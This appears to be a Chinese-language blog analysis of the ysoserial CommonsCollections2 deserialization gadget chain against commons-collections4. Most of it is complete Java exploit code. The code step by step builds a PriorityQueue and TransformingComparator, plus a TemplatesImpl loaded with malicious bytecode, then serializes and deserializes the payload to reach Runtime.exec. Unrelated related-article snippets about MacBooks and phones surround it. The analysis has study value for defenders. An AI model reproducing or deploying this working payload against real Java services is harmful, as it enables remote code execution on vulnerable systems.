<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
在最後一步的實現上,cc2和cc3一樣,最終都是通過TemplatesImpl惡意位元組碼檔案動態載入方式實現反序列化。
已知的TemplatesImpl->newTransformer()是最終要執行的。
TemplatesImpl類動態載入方式的實現分析見ysoserial CommonsCollections3 分析中的一、二部分。
TemplatesImpl->newTransformer()的呼叫通過InvokerTransformer.transform()反射機制實現,這裡可以看ysoserial CommonsCollections1 分析中的前半部分內容。
cc2是針對commons-collections4版本,利用鏈如下:
/* Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec() */
所以在InvokerTransformer.transform()之後的利用如下:
public class CC2Test2 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field name = templates_cl.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"xxx"); Field transletIndex = templates_cl.getDeclaredField("_transletIndex"); transletIndex.setAccessible(true); transletIndex.set(templates,0); byte[] code = Files.readAllBytes(Paths.get("D:\workspace\javaee\cc1\target\classes\com\Runtimecalc.class")); byte[][] codes = [code]; //給_bytecodes賦值 Field bytecodes = templates_cl.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates,codes); //要順利執行,_tfactory得賦值,因為defineTransletClasses中呼叫了_tfactory的getExternalExtensionsMap //_tfactorys是TransformerFactoryImpl型別的 TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl(); Field tfactory = templates_cl.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,transformerFactory); InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null); transformer.transform(templates); } }
TransformingComparator的compare,實現了對屬性this.transformer的transform呼叫,這裡可以通過TransformingComparator構造方法為該屬性賦值。
public class TransformingComparator<I, O> implements Comparator<I>, Serializable { private static final long serialVersionUID = 3456940356043606220L; private final Comparator<O> decorated; private final Transformer<? super I, ? extends O> transformer; public TransformingComparator(Transformer<? super I, ? extends O> transformer) { this(transformer, ComparatorUtils.NATURAL_COMPARATOR); } public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) { this.decorated = decorated; this.transformer = transformer; } public int compare(I obj1, I obj2) { O value1 = this.transformer.transform(obj1); O value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2); } }
通過compare的呼叫
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null); TransformingComparator transformingComparator = new TransformingComparator(transformer); transformingComparator.compare(null,templates);
PriorityQueue類中的readobject()呼叫了heapify(),heapify()中呼叫了siftDown(),siftDown()呼叫了siftDownUsingComparator(),siftDownUsingComparator()方法實現了comparator.compare()呼叫。
那麼只要將transformingComparator物件賦值給comparator,可以通過反射,也可以通過構造方法,這裡通過構造方法,且initialCapacity不能小於1。
public PriorityQueue(int initialCapacity, Comparator<? super E> comparator) { // Note: This restriction of at least one is not actually needed, // but continues for 1.5 compatibility if (initialCapacity < 1) throw new IllegalArgumentException(); this.queue = new Object[initialCapacity]; this.comparator = comparator; }
由於comparator.compare()中的引數來自queue,所以需要將templates賦值給queue。
InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null); PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator); priorityQueue.add(1); priorityQueue.add(templates);
但是由於在priorityQueue.add()方法中會呼叫siftUp()->siftUpUsingComparator()->comparator.compare()。
priorityQueue.add()中帶入的引數物件如果不存在newTransformer方法將報錯,另外使用templates作為引數,又會導致在序列化過程構造惡意物件的時候得到執行。所以這裡先用toString()方法代替,後通過反射方式修改this.iMethodName屬性。
TransformingComparator transformingComparator = new TransformingComparator(transformer); PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator); priorityQueue.add(1); priorityQueue.add(2); Field iMethodName = transformer.getClass().getDeclaredField("iMethodName"); iMethodName.setAccessible(true); iMethodName.set(transformer,"newTransformer");
transient queue無法序列化,但在PriorityQueue的writeobject()、readobject中對queue做了重寫,實現序列化和反序列化。
private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException { //略 for (int i = 0; i < size; i++) s.writeObject(queue[i]); }
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { //略 for (int i = 0; i < size; i++) queue[i] = s.readObject(); heapify(); }
通過反射修改queues[0],利用如下:
TransformingComparator transformingComparator = new TransformingComparator(transformer); PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator); priorityQueue.add(1); priorityQueue.add(2); Field iMethodName = transformer.getClass().getDeclaredField("iMethodName"); iMethodName.setAccessible(true); iMethodName.set(transformer,"newTransformer"); Field queue = priorityQueue.getClass().getDeclaredField("queue"); queue.setAccessible(true); Object[] queues = (Object[]) queue.get(priorityQueue); queues[0] = templates; //這裡得替換queues[0] //如果queues[0]依舊保留使用Integer,會因為無法找到newTransformer報錯。
public class CC2Test2 { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Field name = templates_cl.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"xxx"); Field transletIndex = templates_cl.getDeclaredField("_transletIndex"); transletIndex.setAccessible(true); transletIndex.set(templates,0); byte[] code = Files.readAllBytes(Paths.get("D:\workspace\javaee\cc1\target\classes\com\Runtimecalc.class")); byte[][] codes = [code]; //給_bytecodes賦值 Field bytecodes = templates_cl.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(templates,codes); //要順利執行,_tfactory得賦值,因為defineTransletClasses中呼叫了_tfactory的getExternalExtensionsMap //_tfactorys是TransformerFactoryImpl型別的 TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl(); Field tfactory = templates_cl.getDeclaredField("_tfactory"); tfactory.setAccessible(true); tfactory.set(templates,transformerFactory); InvokerTransformer transformer = new InvokerTransformer("toString", null, null); TransformingComparator transformingComparator = new TransformingComparator(transformer); PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator); priorityQueue.add(1); priorityQueue.add(2); Field iMethodName = transformer.getClass().getDeclaredField("iMethodName"); iMethodName.setAccessible(true); iMethodName.set(transformer,"newTransformer"); Field queue = priorityQueue.getClass().getDeclaredField("queue"); queue.setAccessible(true); Object[] queues = (Object[]) queue.get(priorityQueue); queues[0] = templates; ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\cc2.ser")); objectOutputStream.writeObject(priorityQueue); ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\cc2.ser")); objectInputStream.readObject(); } }
以上就是Java安全 ysoserial CommonsCollections2範例分析的詳細內容,更多關於Java ysoserial CommonsCollections的資料請關注it145.com其它相關文章!
相關文章
<em>Mac</em>Book项目 2009年学校开始实施<em>Mac</em>Book项目,所有师生配备一本<em>Mac</em>Book,并同步更新了校园无线网络。学校每周进行电脑技术更新,每月发送技术支持资料,极大改变了教学及学习方式。因此2011
2021-06-01 09:32:01
综合看Anker超能充系列的性价比很高,并且与不仅和iPhone12/苹果<em>Mac</em>Book很配,而且适合多设备充电需求的日常使用或差旅场景,不管是安卓还是Switch同样也能用得上它,希望这次分享能给准备购入充电器的小伙伴们有所
2021-06-01 09:31:42
除了L4WUDU与吴亦凡已经多次共事,成为了明面上的厂牌成员,吴亦凡还曾带领20XXCLUB全队参加2020年的一场音乐节,这也是20XXCLUB首次全员合照,王嗣尧Turbo、陈彦希Regi、<em>Mac</em> Ova Seas、林渝植等人全部出场。然而让
2021-06-01 09:31:34
目前应用IPFS的机构:1 谷歌<em>浏览器</em>支持IPFS分布式协议 2 万维网 (历史档案博物馆)数据库 3 火狐<em>浏览器</em>支持 IPFS分布式协议 4 EOS 等数字货币数据存储 5 美国国会图书馆,历史资料永久保存在 IPFS 6 加
2021-06-01 09:31:24
开拓者的车机是兼容苹果和<em>安卓</em>,虽然我不怎么用,但确实兼顾了我家人的很多需求:副驾的门板还配有解锁开关,有的时候老婆开车,下车的时候偶尔会忘记解锁,我在副驾驶可以自己开门:第二排设计很好,不仅配置了一个很大的
2021-06-01 09:30:48
不仅是<em>安卓</em>手机,苹果手机的降价力度也是前所未有了,iPhone12也“跳水价”了,发布价是6799元,如今已经跌至5308元,降价幅度超过1400元,最新定价确认了。iPhone12是苹果首款5G手机,同时也是全球首款5nm芯片的智能机,它
2021-06-01 09:30:45